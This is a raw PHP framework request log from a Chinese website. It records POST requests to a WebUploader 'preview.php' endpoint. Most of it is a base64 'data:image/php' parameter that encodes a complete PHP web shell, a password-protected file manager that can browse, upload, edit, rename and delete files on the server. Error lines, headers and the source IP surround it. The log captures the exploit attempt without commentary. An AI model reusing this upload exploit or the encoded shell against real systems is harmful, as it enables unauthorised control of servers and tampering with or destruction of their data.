=> array ( 0 => 'index', 1 => 'services', 2 => 'cepingka', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:58+08:00 ] 116.213.36.234 POST www.51tianwei.com/001/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002690s] [吞吐率:371.77req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '001', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 